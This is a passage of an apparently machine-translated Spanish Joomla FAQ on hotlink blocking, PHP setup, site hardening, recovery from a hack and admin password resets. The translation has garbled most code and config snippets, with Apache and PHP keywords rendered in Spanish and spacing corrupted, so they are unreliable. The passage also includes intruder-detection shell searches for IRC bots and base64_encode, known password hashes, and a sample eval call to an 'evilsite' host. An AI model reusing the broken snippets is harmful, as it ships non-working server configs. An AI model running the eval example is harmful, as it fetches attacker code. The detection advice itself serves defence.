  3. Pruebe el front-end y el back-end de su sitio. Si produce errores, cambie el nombre del archivo a htaccess.txt y solucione sus ediciones. Si no puede hacer que esto funcione, puede que tenga que dejar el archivo llamado htaccess.txt.
  4. Use phpinfo () para asegurarse de que todas las configuraciones se configuran según lo previsto. Nota: Los archivos accesibles en la web que incluyen phpinfo () son riesgos potenciales de seguridad, ya que ofrecen a los atacantes mucha información útil sobre su servidor. Siempre elimine dichos archivos después de su uso.


Más información

¿Cómo bloqueo el enlace directo directo a archivos de imagen usando .htaccess?

Advertencias

  1. Su servidor debe permitir archivos .htaccess para que esta técnica funcione.
  2. Si no tiene un archivo .htaccess en su directorio raíz, consulte primero las preguntas frecuentes relacionadas.
  3. No utilice este método para redirigir enlaces activos de imágenes a páginas HTML o servidores que no sean suyos.
  4. Las imágenes enlazadas en caliente solo se pueden reemplazar por otras imágenes, no con páginas HTML.
  5. Al igual que con cualquier reescritura de .htaccess, puede bloquear el tráfico legítimo, como los usuarios detrás de servidores proxy o firewalls.

Direcciones

  1. Cree una imagen jpeg llamada no_hot_link.jpe. Tenga en cuenta que la extensión de archivo impar (.jpe) es intencional e importante. Coloque este archivo en su directorio de imágenes.
  2. Coloque el siguiente código en el archivo .htaccess de su directorio raíz.
 RewriteEngine  en 
 RewriteCond % {HTTP_REFERER}! ^ Http: // ([^.] + \.) * Your_site \ .com / [NC]
  RewriteCond % {HTTP_REFERER}! ^ $
  RewriteRule \. (Jpe? G | gif | bmp | png) $ /images/no_hot_link.jpe [L]

Explicación

La primera línea comienza la regla de reescritura de Apache. La segunda línea coincide con cualquier solicitud de su propio sitio, aquí llamada your_site.com url. La bandera [NC] significa "cualquier caso", lo que significa que coincide con todos los caracteres en mayúsculas y minúsculas. La tercera línea permite referencias vacías, como cuando un usuario está detrás de un proxy de almacenamiento en caché. La última línea coincide con los archivos que terminan con la extensión jpeg, jpg, gif, bmp o png. Esto luego se reemplaza por el archivo no_hot_link.jpe en su directorio de imágenes. Este archivo JPEG utiliza la extensión jpe en lugar de jpg para evitar que estas reglas bloqueen su imagen de reemplazo.

Bloquear enlaces activos de dominios específicos

Para detener el enlace directo solo desde dominios específicos, como myspace.com, blogspot.com y livejournal.com, mientras permite que otros sitios web hagan enlaces directos a sus imágenes, use el siguiente código:

 RewriteEngine  en 
 RewriteCond % {HTTP_REFERER} ^ http: // ([^.] + \.) * Myspace \ .com / [NC, OR]
  RewriteCond % {HTTP_REFERER} ^ http: // ([^.] + \. ) * blogspot \ .com / [NC, OR]
  RewriteCond % {HTTP_REFERER} ^ http: // ([^.] + \.) * livejournal \ .com / [NC]
  RewriteRule \. (jpe? g | gif | bmp | png) $ /images/nohotlink.jpe [L]

Puede agregar tantos dominios diferentes como desee. Cada línea de RewriteCond, excepto la última, debe terminar con las banderas [NC, OR]. NC significa ignorar el caso. O significa "O Siguiente", como en, coincide con esta línea O la siguiente línea. El último RewriteCond omite el indicador OR para detener la coincidencia después del último RewriteCond.

Mostrar un código prohibido 403

Alternativamente, puede mostrar un código de error prohibido 403. Reemplace la última línea de los ejemplos anteriores con esta línea:

RewriteRule \. (Jpe? G | gif | bmp | png) $ - [F]

PHP

¿Por qué es Joomla! escrito en PHP?

También podría obtenerlo de la boca del caballo. En Do you PHP? , Rasmus Lerdorf, el creador de PHP, resume cómo y por qué PHP se desarrolló como lo hizo.
"Todo se reduce a que PHP nunca tuvo la intención de ganar concursos de belleza. No fue diseñado para introducir ningún nuevo paradigma revolucionario de programación. Fue diseñado para resolver un solo problema: el problema de la Web. Ese problema puede llegar a ser bastante feo, y a veces necesita una herramienta fea para resolver su problema feo. Aunque una herramienta bonita puede, de hecho, ser capaz de resolver el problema también, es probable que una solución PHP fea pueda implementarse mucho más rápido y con muchos menos recursos . Eso generalmente resume la terquedad de PHP ".

¿Cuál es la última versión estable de PHP?

Consulte la página oficial de descarga de PHP para obtener información sobre la última versión de PHP.

¿Cómo ajusto la velocidad con PHP5 y MySQL5?

Este es solo un resumen punto por punto de cómo he estado ajustando y ajustando nuestros sitios de Joomla para que funcionen lo más rápido posible. Como referencia, ejecutamos todos nuestros sitios desde un servidor dedicado Rackspace, con 1 Gb de RAM, un Athlon dual core de 2 Ghz, ejecutando Apache 2.0.x (revisión actual), PHP 5.0.x (revisión actual) y MySQL 5.0.18.
Estos se enumeran en términos de aumento aparente de la velocidad, es decir, no la velocidad total de la página completa, sino la velocidad antes de que la página sea utilizable para ver el contenido, incluso si no se cargan todas las funciones.
  1. Caché de PHP. Había estado ejecutando eAccelerator, pero cambié a APC hoy, y ha hecho que el sistema sea aún más rápido que antes, y eAccelerator fue un gran impulso sobre PHP sin caché. Joomla es un gran sistema complejo, por lo que usar código precompilado es un gran ahorro de tiempo. Uso un caché en memoria de 128Mb, que es suficiente para nuestras necesidades.
  2. MySQL Queching Caching. Este variará dependiendo de qué tan dinámico sea su sitio, y realmente puede eliminar los beneficios al usar las extensiones incorrectas (cualquier fecha / hora necesitará una verificación), pero si está respondiendo prácticamente las mismas consultas cada carga de página, bajará notablemente los tiempos de carga.
  3. Optimización de imagen de plantilla: las imágenes de plantilla realmente ralentizan la carga de la página inicial para los visitantes por primera vez, por lo que tiene sentido optimizarlas. Recuerde que su plantilla probablemente no va a cambiar tan a menudo como el contenido de su historia, por lo que puede permitirse pasar más tiempo optimizando las imágenes para ella de lo contrario. Recomiendo Irfanview, con el complemento pngout activo para las imágenes PNG, y tampoco es malo para las imágenes JPG y GIF. No olvide aumentar el nivel de compresión de PNG y, si es posible, reducirlos a paletas indexadas.
  4. Compresión CSS. Fácil: coloque un pequeño script para generar una versión comprimida de su (s) archivo (s) CSS y apunte su index.php hacia él. Ejemplo de script a continuación: no lo escribí, pero es breve, al grano, y funciona.
             ob_start ("ob_gzhandler");
             encabezado ("Tipo de contenido: texto / css");
             header ("Cache-Control: must-revalidate");
             $ compensación = 60 * 60;
             $ ExpStr = "Caduca:".
             gmdate ("D, d MYH: i: s",
             tiempo () + $ compensación). " GMT";
             encabezado ($ ExpStr);
  1. Elimine los módulos, componentes y mambots innecesarios de Joomla. Si no los ha usado, el impacto en su tiempo de carga es mínimo, pero con más componentes / módulos activos, hay más puntos de falla y los errores de Apache son lentos.
  2. Examine el registro de errores de Apache. Es sorprendente cuántos errores pueden aparecer incluso con una instalación de Joomla bastante mínima, y ​​no necesariamente afectan la apariencia de la página. Verifique su registro de errores, especialmente si está utilizando componentes / módulos personalizados o cualquier configuración de configuración no estándar. Una vez que haya notado algún problema, es hora de arreglar el código que lo crea, y probar a fondo antes de cargar las versiones reparadas.
  3. Siga comprobando a medida que agrega / elimina funciones, rediseña o cambia las opciones de configuración del servidor. Incluso cosas como agregar servidores virtuales en Apache pueden afectar la velocidad del servidor, ya que una configuración de configuración perdida puede causar retrasos generales de Apache.

¿Debería PHP ejecutarse como un script CGI o como un módulo Apache?

Hay dos formas de configurar Apache para usar PHP:

  1. Configure Apache para cargar el intérprete PHP como un módulo Apache
  2. Configure Apache para ejecutar el intérprete PHP como un binario CGI

(PD: Windows IIS normalmente se configura como CGI por cierto)

La intención de esta publicación es proporcionarle información relacionada con la configuración y el reconocimiento de cada método. "En general", históricamente, solo se ha implementado un método u otro, sin embargo, con los cambios arquitectónicos realizados en PHP a partir de PHP5, ha sido bastante común que las empresas de alojamiento configuren ambos. Una versión que se ejecuta como CGI y una versión que se ejecuta como un Módulo. En general, se acepta más recientemente que ejecutar PHP como CGI es más seguro, sin embargo, ejecutar PHP como un módulo Apache tiene un ligero aumento de rendimiento y es la forma en que la mayoría de los sistemas preconfigurados se entregarán de inmediato.

¿Cuál es la diferencia entre CGI y Apache Module Mode?

Un módulo de Apache se compila en el binario de Apache, por lo que el intérprete de PHP se ejecuta en el proceso de Apache, lo que significa que cuando Apache genera un hijo, cada proceso ya contiene una imagen binaria de PHP. Un CGI se ejecuta como un proceso único para cada solicitud, y debe realizar una llamada exec () o fork () al ejecutable de PHP, lo que significa que cada solicitud creará un nuevo proceso del intérprete de PHP. Apache es mucho más eficiente en su capacidad para manejar solicitudes y administrar recursos, lo que hace que el módulo Apache sea un poco más rápido que el CGI (así como también más estable bajo carga).

El modo CGI, por otro lado, es más seguro porque el servidor ahora administra y controla el acceso a los archivos binarios. PHP ahora puede ejecutarse como su propio usuario en lugar del usuario genérico de Apache. ¡Esto significa que puede poner las contraseñas de su base de datos en un archivo legible solo por usted y sus scripts php aún pueden acceder! Los permisos "Grupo" y "Otros" (consulte <a href="/component/option,com_easyfaq/task,view/id,73/Itemid,268/" target="_blank"> Preguntas frecuentes sobre permisos </a>

ahora puede ser más restrictivo. También se afirma que el modo CGI es más flexible en muchos aspectos, como ahora no debería ver, con phpSuExec (consulte "target =" _ blank Permisos bajo problemas de phpSuExec con propiedad del archivo asumida por el usuario de Apache, por lo tanto, ya no debería tener problemas bajo FTP al intentar acceder o modificar archivos que se han cargado a través de una interfaz PHP, como las opciones de carga de Joomla!

Si su servidor está configurado para ejecutar PHP como un módulo de Apache, entonces tendrá la opción de usar archivos php.ini o Apache .htaccess, sin embargo, si su servidor ejecuta PHP en modo CGI, entonces solo tendrá la opción de usar php.ini archiva localmente para cambiar la configuración, ya que Apache ya no tiene el control completo de PHP.


Probar y revisar su instalación de PHP

También conocido como "Todo lo que siempre quisiste y no quisiste saber sobre PHP"

Para conocer el modo de intérprete PHP y para probar en general su instalación PHP y para encontrar una gran cantidad de información sobre su entorno PHP, utilidades, aplicaciones y configuraciones compatibles, cree un solo archivo PHP que contenga solo las siguientes líneas;

phpinfo ();

Esta única línea de código genera una increíble cantidad de información, ten en cuenta ...

<img src = "http://forum.joomla.org/Smileys/joomla/wink.gif" alt = "Wink" border = "0" />

Guarde el archivo como cualquier nombre de archivo que desee, pero con la extensión ".php". Envíelo por FTP a su servidor y ábralo en un navegador.

Otra informacion util

Las siguientes son funciones PHP, que cuando se ejecutan desde un archivo PHP pueden proporcionar información útil, (menos que la opción anterior), muchas deberían ejecutarse en la mayoría de los hosts, sin embargo, muchos hosts desactivan algunas de estas funciones por seguridad. No se ofrece garantía ...

Nuevamente, como se indicó anteriormente, cree un archivo, asígnele el nombre que desee, pero asegúrese de que tenga la extensión ".php", copie y pegue las siguientes líneas y FTP en su servidor.

<? 
echo "Nombre de host:". @php_uname (n). ""; if (function_exists ('shell_exec')) {echo "Nombre de host:". @gethostbyname (trim (`hostname`)); } else {echo "Servidor IP:". $ _SERVER ['SERVER_ADDR']. ""; } echo "Plataforma:". @php_uname (s) "". @php_uname (r). "". @php_uname (v). ""; echo "Arquitectura:". @php_uname (m). ""; echo "Nombre de usuario:". get_current_user (). "(UiD:". getmyuid (). ", GiD:". getmygid (). ")"; echo "Ruta actual:". getcwd (). ""; echo "Tipo de servidor:". $ _SERVER ['SERVER_SOFTWARE']. ""; echo "Administrador del servidor:". $ _SERVER ['SERVER_ADMIN']. ""; echo "Firma del servidor:". $ _SERVER ['SERVER_SIGNATURE']. ""; echo "Protocolo de servidor:". $ _SERVER ['SERVER_PROTOCOL']. ""; echo "Modo servidor:". $ _SERVER ['GATEWAY_INTERFACE']. "";
?>

El Joomla! HISA o Joomla! Tools Suite también puede ayudarlo a determinar en qué modo se está ejecutando su servidor, y también proporciona una gran cantidad de otra información relacionada, incluidas recomendaciones sobre la configuración.

Joomla! El conjunto de herramientas (JTS) es un conjunto completo de herramientas para ayudarlo a solucionar problemas y mantener Joomla! e incluir el guión "HISA". Descargue JTS aquí

Joomla! La Auditoría de estado, instalación y seguridad (HISA) es una secuencia de comandos independiente que proporciona información puramente de configuración. Descargue HISA aquí

Otro método indirecto , y posiblemente no 100% confiable, es que si no puede utilizar .htaccess en servidores Linux y servidores basados ​​en Apache, entonces está ejecutando en modo CGI o su host ha desactivado el uso de .htaccess incluso si su servidor ejecuta PHP como un módulo de Apache.

Elimine estos archivos inmediatamente después de su uso, la información contenida en su salida es extensa y explícita con respecto a sus configuraciones de PHP y servidor, ayudará a aquellos que deseen dañar su sitio

Para aquellos que deseen saber más sobre "Cómo ..."

Ejecutar PHP como un módulo de Apache
Para configurar Apache para cargar PHP como un módulo para 'analizar' sus scripts PHP, el httpd.conf necesita ser modificado, normalmente se encuentra en "c: \ Archivos de programa \ Apache Group \ Apache \ conf \" o "/ etc / httpd / conf /".

Busque la sección del archivo que tiene una serie de declaraciones comentadas "LoadModule". (Las declaraciones precedidas por el signo hash "#" se consideran comentadas). Si PHP se ejecuta en modo "Módulo Apache", debería ver algo muy similar a lo siguiente;

LoadModule php4_module "c: /php/php4apache.dll"

Apache 1.x

Para PHP5

LoadModule php5_module C: /php/php5apache2.dll 
o (dependiente de la plataforma)
LoadModule php5_module /usr/lib/apache/libphp5.so

Para PHP4

LoadModule php4_module libexec / libphp4.so 
o (depende de la plataforma)

LoadModule php4_module C: /php/php4apache.dll

y

AddModule mod_php4.c

o

AddModule mod_php5.c

 

Apache 2.x

Para PHP5

LoadModule php5_module C: /php/php5apache2.dll

o (depende de la plataforma)

LoadModule php5_module /usr/lib/apache/libphp5.so

Para PHP4

LoadModule php4_module libexec / libphp4.so

o (dependiente de la plataforma)
LoadModule php4_module C: /php/php4apache.dll

y
AddModule mod_php5.c

o
AddModule mod_php4.c

Nota:
No se preocupe si no puede encontrar un archivo "mod_php4.c" o "mod_php5.c" en ningún lugar de su sistema. Esa directiva no hace que Apache busque el archivo en su sistema. Para los curiosos, especifica el orden en que los distintos módulos son habilitados por el servidor Apache.

Si está utilizando Apache 2.x, no tiene que insertar la directiva AddModule. Ya no es necesario en esa versión. Apache 2.x tiene su propio método interno para determinar el orden correcto de carga de los módulos.

Ahora busque la sección "AddType" en el archivo y agregue la siguiente línea después de la última instrucción "AddType":

Aplicación AddType / x-httpd-php .php

Si necesita admitir otros tipos de archivos, como ".php3" y ".phtml", simplemente agréguelos a la lista, así: <

Aplicación AddType / x-httpd-php .php3 
Aplicación AddType / x-httpd-php .phtml

Ejecute una verificación de sintaxis y, si todo está bien, reinicie Apache ...


Ejecutar PHP como un binario CGI
Para configurar PHP para que se ejecute como CGI, nuevamente necesitará configurar httpd.conf, pero confirme que la configuración anterior no está configurada, a menos que ahora lo que está haciendo pueda generar usted mismo "HTTP 500 "errores. Busque en su archivo de configuración de Apache la sección "ScriptAlias".

Agregue la siguiente línea a continuación después del ScriptAlias ​​para "cgi-bin".

Nota:

La ubicación dependerá de dónde esté instalado PHP en su sistema, debe sustituir la ruta apropiada en lugar de "c: / php /" (por ejemplo, "c: / Archivos de programa / php /").

ScriptAlias ​​/ php / "c: / php /"

Apache nuevamente debe configurarse para el tipo MIME de PHP. Busque la sección "AddType" y agregue la siguiente línea después:

Aplicación AddType / x-httpd-php .php

Como en el caso de ejecutar PHP como un módulo de Apache, puede agregar cualquier extensión que desee que Apache reconozca como scripts PHP, como:

Aplicación AddType / x-httpd-php .php3
Aplicación AddType / x-httpd-php .phtml

A continuación, deberá indicarle al servidor que ejecute el ejecutable de PHP cada vez que encuentre un script PHP. Agregue lo siguiente debajo de cualquier entrada existente en la sección "Acción".

Aplicación de acción / x-httpd-php "/php/php.exe"

Si observa que hemos utilizado la referencia "ScriptAlias", la porción "/ php /" se reconocerá como el scriptAlias ​​configurado anteriormente, esto es ordenar un alias de ruta que se correlacionará con su ruta de instalación de PHP configurada previamente. En otras palabras, no ponga "c: /php/php.exe" o "c: / Archivos de programa / php / php.exe" en esa directiva, ponga "/php/php.exe", Apache lo funcionará fuera si está configurado correctamente.

Configuración de la página de índice predeterminada
Esta sección se aplica a todos los usuarios, ya sea que esté cargando PHP como un módulo o ejecutándolo como un binario CGI, y se ha visto con suficiente frecuencia como para justificar una mención.

Si desea que su script PHP se ejecute como la página predeterminada para un directorio, debe agregar otra línea al "httpd.conf". Simplemente busque la línea en el archivo que comienza con un "DirectoryIndex" y agregue "index.php" a la lista de archivos en esa línea. Por ejemplo, si la línea solía ser:

DirectoryIndex index.html

cámbielo a

DirectoryIndex index.html index.php
Si aún desea que los archivos .html se ejecuten antes que los archivos .php

o
DirectoryIndex index.php index.html
Si desea que los archivos .php se ejecuten antes que los archivos .html

La próxima vez que acceda al sitio o un directorio dentro de un sitio sin un nombre de archivo, Apache "automáticamente" entregará "index.php" si está disponible, o "index.html" si "index.php" no está disponible.

¿Por qué no debería usar PHP safe_mode?

Descripción general No es necesario habilitar safe_mode si se siguen otras precauciones de seguridad razonables. El uso de safe_mode para la seguridad del sitio web es un compromiso deficiente en una mala situación. Puede tener sentido en algunas situaciones, pero casi siempre hay una mejor manera. Debido a que safe_mode en cierto sentido solo da la ilusión de seguridad, se eliminará de PHP a partir de la versión 6.0.

El Joomla! core funciona bien con o sin PHP safe_mode. La única excepción a esta regla es el script de instalación. Esto se debe a que safe_mode, por diseño, desactiva las funciones de PHP que permiten la carga fácil a través de un navegador web. Si utiliza safe_mode y necesita realizar instalaciones a través del navegador web, apague temporalmente safe_mode y vuelva a encenderlo cuando haya terminado.

Algunas extensiones de terceros pueden requerir funciones PHP específicas que están bloqueadas por safe_mode. Dichas extensiones deben evaluarse cuidadosamente para asegurarse de que comprende exactamente por qué requieren funciones tan potentes y potencialmente peligrosas.

Desde el sitio oficial de PHP

"El modo seguro de PHP es un intento de resolver el problema de seguridad del servidor compartido. Es arquitectónicamente incorrecto intentar resolver este problema en el nivel de PHP, pero dado que las alternativas en el servidor web y los niveles del sistema operativo no son muy realistas, muchos la gente, especialmente los ISP, usan el modo seguro por ahora ". Más información

  1. Manual oficial de PHP: Directivas de configuración de seguridad y modo seguro de PHP
  2. Manual oficial de PHP: Funciones PHP restringidas / deshabilitadas por modo seguro

Desarrollo

¿Cómo configuro un sitio de demostración seguro?

En /includes/version.php busque:

/ ** @var string Si el sitio es una producción = 1 o sitio de demostración = 0 * /
var $ SITIO = 1;
/ ** @var string Si el sitio tiene una funcionalidad restringida utilizada principalmente para sitios de demostración: 0 es predeterminado * /
var $ RESTRICT = 0;

Para un sitio de demostración se recomienda lo siguiente:

/ ** @var string Si el sitio es una producción = 1 o sitio de demostración = 0 * /
var $ SITIO = 0;
/ ** @var string Si el sitio tiene una funcionalidad restringida utilizada principalmente para sitios de demostración: 0 es predeterminado * /
var $ RESTRICT = 1;
$ SITIO = 0
// Permite múltiples inicios de sesión de usuario con una sola cuenta. Por defecto Joomla!
// permite solo una sesión activa por cuenta como característica de seguridad.
$ RESTRICT = 1
// Desactiva el inicio de sesión, tanto el front-end como el back-end no cambian 
// detalles del usuario - como contraseña y nombre de usuario

Esta configuración se utiliza en el sitio de demostración oficial http://demo.joomla.org

También debe hacer que todos los archivos y carpetas no se puedan escribir, especialmente el archivo configuration.php. También le recomendamos configurar un trabajo cron automático que actualice la base de datos en un intervalo establecido (en nuestro caso, 60 minutos) desde un script db.

¿Cómo puedo ver un sitio en vivo durante el desarrollo, pero ocultarlo de otros?

Introducción

El método descrito a continuación debe usarse para modificaciones relativamente menores, como ajustar menús o reorganizar rápidamente secciones de contenido. Las tareas más complejas, como la instalación de nuevos componentes o el ajuste de configuraciones complejas, deben realizarse y probarse primero en un servidor de desarrollo. Esto no solo mantiene su sitio público en funcionamiento, sino que también le permite probar a su gusto, reduciendo así los errores. Una forma de hacerlo es crear un subdominio (es decir, dev.yourdomain.com) e instalar Joomla! allí tal como está instalado en su sitio público.

Direcciones

1. Inicie sesión en la sección del administrador y elija: Sitio> Configuración global.

2. La primera opción que verá es establecer el sitio fuera de línea. Elija "Sí" y presione el botón Guardar. Esto ocultará, evitará la visualización de todas las páginas del sitio y las reemplazará con el siguiente mensaje:

"Este sitio está fuera de servicio por mantenimiento. Por favor, vuelva a consultar pronto. Mensaje en su lugar".

3. Mientras está conectado al sistema de administrador "back-end", aún puede ver el "front-end" seleccionando Sitio> Plantilla> Vista previa. Esto mostrará el sitio tal como le parecería a los usuarios junto con una advertencia en la parte superior de que el sitio está inactivo por mantenimiento.

Recuperación del sitio

¡Ayuda! Mi sitio ha sido comprometido. ¿Ahora que?

Direcciones

  1. Cambie todas las contraseñas relevantes: suponga que sus contraseñas se han recolectado e inmediatamente cambie todas las contraseñas críticas, incluido el acceso de shell, el acceso FTP, Joomla! Cuentas de administrador y la cuenta de la base de datos.
  2. Verifique los registros sin procesar: identifique cuándo y cómo los atacantes obtuvieron acceso a su sitio revisando cuidadosamente los registros sin procesar de su servidor. Tome nota cuidadosa de la fecha / hora y los nombres de los archivos atacados. Tenga en cuenta que estos registros pueden haber sido eliminados o alterados, por lo que la falta de evidencia no prueba la falta de actividad.
  3. Lista de archivos modificados recientemente: antes de realizar cambios en su sitio, genere una lista de archivos modificados recientemente. Aquí hay un script php que enumerará los archivos por usted. ¡Elimine este script tan pronto como tenga su lista y no publique un enlace!
  4. Tenga en cuenta los archivos sospechosos recién creados: use esta lista para identificar nuevos archivos que no pertenecen. Presta especial atención a sus fechas de creación y modificación, y correlacionalas con las fechas de los ataques que se muestran en tus archivos de registro.
  5. Tenga en cuenta los archivos sospechosos recientemente modificados: consulte la lista de archivos modificados para ver si hay archivos que se hayan cambiado recientemente. Presta especial atención a la modificación y correlaciona las fechas de los ataques que se muestran en tus archivos de registro.
  6. Compruebe si hay trabajos CRON falsos: los trabajos cron pirateados se pueden configurar para reinfectar su sitio una y otra vez.
  7. Coordinar con su host: si ha identificado cómo fue descifrado, informe el método a su host. Si está en un servidor compartido, puede haber sido atacado a través de otro sitio vulnerable en su servidor. Informe esto a su anfitrión. Un anfitrión de buena reputación apreciará sus esfuerzos en esta área.
  8. Elimine todo el directorio public_html: esta es la mejor manera de garantizar que se elimine toda vulnerabilidad potencial en ese sitio.
  9. Eliminar registros de bases de datos relacionados: este paso solo puede ser posible si tiene buenas copias de seguridad. Los niños de script simples, que solo intentan marcar su página de índice, pueden no atacar su base de datos, pero los profesionales generalmente están muy interesados ​​en datos confidenciales, como las contraseñas. Pueden hacerse pasar por script kiddies para evitar sospechas mientras recopilan repetidamente información confidencial de su base de datos.
  10. Vuelva a instalar todo: use copias de seguridad previas al crack. Si no tiene buenas copias de seguridad, reinstale todo de todos modos.
  11. Restablezca las contraseñas críticas nuevamente: debe restablecer sus contraseñas nuevamente ahora que su servidor finalmente está limpio de posibles troyanos ocultos.
  12. Reconstruir sitio: si no puede reconstruir desde copias de seguridad limpias, reconstruya todo su sitio utilizando instalaciones originales previas al crack. Use solo las últimas versiones estables de todo el software y consulte la Lista de extensiones vulnerables
  13. Revise los procesos de seguridad: siga las precauciones de seguridad estándar para configuraciones importantes en php.ini, globals.php, configuration.php, .htaccess, etc.
  14. Revise los procesos de respaldo: si aún no tiene uno, agregue un proceso de respaldo confiable a las prácticas de administración de su sitio.
  15. Esté atento: los atacantes a menudo regresan repetidamente. Controle de cerca sus registros sin procesar en busca de actividad sospechosa.

¿Cómo restablezco una contraseña de administrador?

Introducción

Nota: Este método es para versiones de Joomla hasta 1.0.12 inclusive Joomla 1.0Para versiones posteriores de Joomla y Joomla 1.5.xx, utilice esto Preguntas frecuentes )

Debido a que las contraseñas se almacenan utilizando un hash MD5 unidireccional que impide recuperar la contraseña, no puede recuperar una contraseña existente, pero puede restablecerla a una nueva contraseña editando el campo de contraseña en la base de datos. En las siguientes instrucciones, establecerá el valor de la contraseña MD5 en un valor conocido y luego iniciará sesión con la contraseña que coincida con ese valor. Una vez que haya iniciado sesión, puede cambiar la contraseña nuevamente con Joomla! pantallas de acceso de usuario.

Nota de cifrado de contraseña mejorada Joomla! 1.0.13+ y Joomla! 1.5.x Este método funciona con las nuevas contraseñas mejoradas con sal. Esto es porque Joomla! actualizará automáticamente las contraseñas en el formato anterior.

Direcciones

1. Use una utilidad MySQL como phpMyAdmin o MySQL Query Browser.

2. Abra la base de datos correcta y seleccione la tabla, jos_users. (Cambie el prefijo de tabla predeterminado, 'jos_' a su prefijo de tabla si es diferente).

3. Seleccione el registro (o la fila de la tabla) para su cuenta de administrador. (El Super Administrador predeterminado es el número de usuario 62.)

4. Copie y pegue un hash MD5 conocido en el campo de contraseña. Puede usar uno de los siguientes ejemplos. Advertencia: debe pegar el valor hash de la contraseña, no la contraseña en sí. Puede usar cualquiera de los siguientes hashs, o crear uno propio usando una de las herramientas MD5 que se enumeran a continuación.

contraseña = "MD5 hash de contraseña"
------------------------------------------------------
admin = 21232f297a57a5a743894a0e4a801fc3
secret = 5ebe2294ecd0e0f08eab7690d2a6ee69
OU812 = 7441de5382cf4fecbaa9a8c538e76783

5. Guarde el registro de usuario.

6. Apunte un navegador a su sitio e inicie sesión con la cuenta de Super Administrador que acaba de modificar.

7. IMPORTANTE: Una vez que haya iniciado sesión, use la interfaz de Joomla para cambiar la contraseña a una que solo usted conoce. Este paso es vital ya que 'sal' su nueva contraseña, agregando así un nivel adicional de seguridad en la parte superior del hash MD5.

Nota: Esta técnica se puede usar para modificar cualquier otra contraseña de cuenta. También puede usarlo para cambiar nombres de usuario.

Generando su propio hash MD5 a partir de una contraseña de su elección

Alternativamente, puede establecer la contraseña en un valor de su elección. Use herramientas, como las siguientes, para crear su propia contraseña segura. Use las instrucciones anteriores una vez que haya generado un hash con estas herramientas.

Herramientas de creación de hash MD5 en línea

Utilidades MD5 gratuitas para descargar

Otras herramientas MD5

  • Hay muchas utilidades MD5 gratuitas en línea y descargables. Google "herramienta hash MD5"

¿Cómo encuentro exploits usando el shell * NIX?

Verificar los procesos activos

Utilice el comando "ps" para buscar procesos extraños o desconocidos, si no está seguro de qué buscar allí, use "netstat -ae | grep irc" y / o "netstat -ea | grep 666" y busque puertos 6666, 6667, 6668, 6669, estos son puertos comunes utilizados para ejecutar bots IRC, pueden tener el nombre "irc" en su lista, o pueden tener "httpd" o, a veces, otros nombres de servicios regulares.

Comprobar crontab

Verifique su crontab y vea si hay una entrada extraña, estas se usan en muchos exploits para reiniciar los bots IRC, incluso cuando se usan administradores o monitores de procesos automatizados para matar un proceso deshonesto.

Compruebe si hay archivos o directorios ocultos

Compruebe si hay archivos o directorios ocultos que no espera ver, aquellos que comienzan con "." (puntos) y también buscar "." (punto, espacio) a menudo favorecido para tratar de atrapar búsquedas de directorios ocultos.

Otros ejemplos de búsquedas que pueden ayudar a identificar vulnerabilidades y / o archivos y carpetas inesperados:

find / home -type f | xargs grep -l MultiViews
encontrar . -tipo f | xargs grep -l base64_encode <<< esto puede producir falsos positivos, es válido en muchos scripts de correo / gráficos
encontrar . -tipo f | xargs grep -l error_reporting
buscar / -name "[Bb] picazón [xX]"
encontrar / -name "psy *"
ls -lR | grep rwxrwxrwx> listing.txt

¿Qué están haciendo estos caracteres extraños (codificados en URL) en mi código?

Visión de conjunto

Los atacantes a veces ocultan el código lejos de miradas indiscretas mediante la codificación de URL.

El propósito de la codificación de URL es permitir que los caracteres no compatibles con URL se pasen a través de la URL. Hay muchas razones legítimas para hacerlo, como ocultar el correo electrónico de los spammers, tratar con espacios en los nombres de los archivos. etc.

Sin embargo, si encuentra texto extraño codificado en URL en los archivos de su sitio, debe investigar de inmediato. El texto codificado con URL es muy fácil de traducir usando PHP, javascript o uno de los muchos traductores en línea gratuitos.

Aquí hay algunos ejemplos triviales que no funcionan del texto codificado en URL:

OriginalURL codificada
esta linea tiene espacios Este% 20 línea% 20 tiene% 20 espacios
eval (evil_script ( http: //www.evilsite/? evilscript.pl ")); % 65val% 28% 65% 76il_% 73cri% 70t

% 28% 68tt% 70% 3A //% 77% 77% 77. % 65% 76il% 73ite /% 3F% 65% 76il% 73

cript.% 70l% 22% 29% 29% 3B

Recursos

  1. Utilidad Text Unescape
  2. Referencia de codificación de URL HTML
 
 

3.- Los 10 mejores trucos de administrador más estúpidos

Sobre esta lista

Esta lista originalmente apareció tarde una noche en los foros de Joomla después de que un desarrollador finalizara una ronda particularmente larga de recuperación de crack. La publicación llamó mucho la atención entre los joomlaistas de todas partes, y ha sido traducida a varios idiomas. Algunos nervios estaban cerca del hueso gracioso, otros dolorosamente lejos de él. Tu experiencia puede variar.



10. Use el proveedor de alojamiento más barato que pueda encontrar.

Preferiblemente use un servidor compartido que aloje cientos de otros sitios, algunos de los cuales son sitios pornográficos de alto tráfico. No revise la lista de proveedores de alojamiento recomendados.
FYI: puede usar una herramienta como Robtex (si está utilizando un proveedor de alojamiento compartido) para ver con quién está compartiendo espacio y si debe ser proactivo para solicitar un cambio a otro espacio compartido. Por ejemplo: http://www.robtex.com/dns/joomla.org.html , o para información REALMENTE genial: Google.com: http://www.robtex.com/dns/google.com.html . Esto muestra dominio, compartido, whois, lista negra, análisis, contacto ...

9. No pierdas el tiempo con copias de seguridad regulares.

Tal vez el proveedor de alojamiento lo ayude.

8. ¡No pierdas el tiempo ajustando PHP y Joomla! configuraciones para mayor seguridad.

Oye, la instalación fue muy fácil. ¿Qué tan malo puede ser el resto? Preocúpese por esos detalles solo si hay un problema.

7. Use el mismo nombre de usuario y contraseña para todo.

Use el mismo nombre de usuario y contraseña para su cuenta bancaria en línea, Joomla! cuenta de administrador, cuenta de Amazon, cuenta de Yahoo, etc. Oye, ¿quién tiene tiempo para hacer un seguimiento de tantas contraseñas? Y de todos modos, dado que no cambia las contraseñas, es más fácil usar la misma todo el tiempo, en todas partes.

6. Instale su nuevo y hermoso sitio impulsado por Joomla !, y celebre un trabajo bien hecho.

No te preocupes por eso otra vez. Después de todo, si no realiza más cambios, ¿qué puede salir mal?

5. Realice todas las actualizaciones en el sitio en vivo de inmediato.

¿Quién necesita un servidor de desarrollo y prueba de todos modos? Si falla una instalación, simplemente la desinstalará nuevamente. Con suerte, eso también deshacerá cualquier daño causado por la instalación.

4. Confíe en extensiones de terceros.

